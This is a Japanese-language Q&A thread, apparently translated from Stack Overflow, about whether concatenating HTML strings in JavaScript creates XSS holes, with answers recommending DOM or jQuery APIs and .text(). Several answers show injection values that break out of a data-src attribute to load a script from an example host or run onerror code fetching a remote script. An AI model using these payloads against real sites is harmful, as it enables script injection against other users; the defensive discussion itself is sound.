web-dev-qa-db-ja.com

JavascriptでHTML文字列を作成するのは本当に安全ではありませんか?

私たちのサイトをホストしている会社は、デプロイする前に私たちのコードをレビューします-彼らは最近私たちにこれを言いました:

HTML文字列を直接操作しないでください。直接操作すると、潜在的なXSSホールが発生する可能性があります。代わりに、常にDOMapiを使用して要素を作成します... jQueryまたは直接DOMapiにすることができます。

たとえば、代わりに

this.html.Push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' ); 

彼らは私たちにそうするように言います

var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );

これは本当に本当ですか?最初のようなHTML文字列を悪用する可能性のあるXSS攻撃の例を誰かに教えてもらえますか?

48
And Finally

_this.au_が何らかの方法で変更された場合、次のようなものが含まれる可能性があります。

_"><script src="http://example.com/evilScript.js"></script><span class="
_

それはあなたのHTMLを台無しにし、スクリプトを挿入します:

_<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>
_

DOM操作を使用してsrc属性を設定すると、スクリプト(または使用する他のXSS)は実行されません。これは、DOMAPIによって適切にエスケープされるためです。


誰かが_this.au_を変更できれば、確かに彼らは自分でスクリプトを実行できると言っている一部のコメンテーターに応えて:_this.au_がどこから来ているのか、特に関連性がないのかわかりません。これはデータベースからの値である可能性があり、DBが危険にさらされている可能性があります。 otherユーザーのために物事を台無しにしようとしている悪意のあるユーザーである可能性もあります。 _"def" > "abc"_を書くと物事が破壊されることに気づかなかったのは、無実の非技術者でさえあり得ます。


もう一つ。指定したコードでは、var quizAuLink = $( 'a' );は新しい_<a>_要素を作成しません。既存のものをすべて選択するだけです。新しいものを作成するには、var quizAuLink = $( '<a>' );を使用する必要があります。

66
Scimonster

これは、読みやすさをあまり損なうことなく、同じように安全である必要があります。

_var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);
_

重要なのは、HTML文字列を作成するために文字列操作を行わないようにすることです。上記では、$()を使用して定数文字列を解析しただけで、よく知られている結果に解析されることに注意してください。この例では、動的に計算された値が含まれている可能性があるため、_this.au_部分のみが危険です。

14
Lie Ryan

.innerHTMLを使用して最新のブラウザにスクリプトタグを挿入することはできないため、イベントをリッスンする必要があります。

this.auが何らかの方法で変更された場合、次のようなものが含まれる可能性があります。

"><img src="broken-path.png" onerror="alert('my injection');"><span class="

それはあなたのHTMLを台無しにし、スクリプトを挿入します:

<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>

そして、JavaScriptのより大きなチャンクを実行するために、onerrorを次のように設定します。

var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);

ボイラープレートを提供してくれたScimosterに感謝します

12
andlrc

セキュリティはさておき、JavaScriptでHTMLを作成するときは、それが有効であることを確認する必要があります。文字列操作*によってHTMLを構築およびサニタイズすることは可能ですが、DOM操作の方がはるかに便利です。それでも、文字列のどの部分がHTMLで、どの部分がリテラルテキストであるかを正確に知る必要があります。

2つのハードコードされた変数がある次の例を考えてみましょう。

_var href = "/detail?tag=hr&copy%5B%5D=1",
    text = "The HTML <hr> tag";
_

次のコードは、HTML文字列を単純に作成します。

_var div = document.createElement("div");
div.innerHTML = '<a href="' + href + '">' + text + '</a>';
console.log(div.innerHTML);
// <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a>
_

これはjQueryを使用しますが、それでも正しくありません(テキストであるはずの変数.html()を使用します):

_var div = document.createElement("div");
$("<a></a>").attr("href", href).html(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML <hr> tag</a>
_

意図したとおりにテキストが表示される

_var div = document.createElement("div");
$("<a></a>").attr("href", href).text(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML &lt;hr&gt; tag</a>
_

結論:DOM操作/ jQueryを使用してもセキュリティは保証されませんが、正しい方向への一歩であることは確かです。


* 例についてはこの質問 を参照してください。文字列とDOMの両方の操作について説明します。

1
Salman A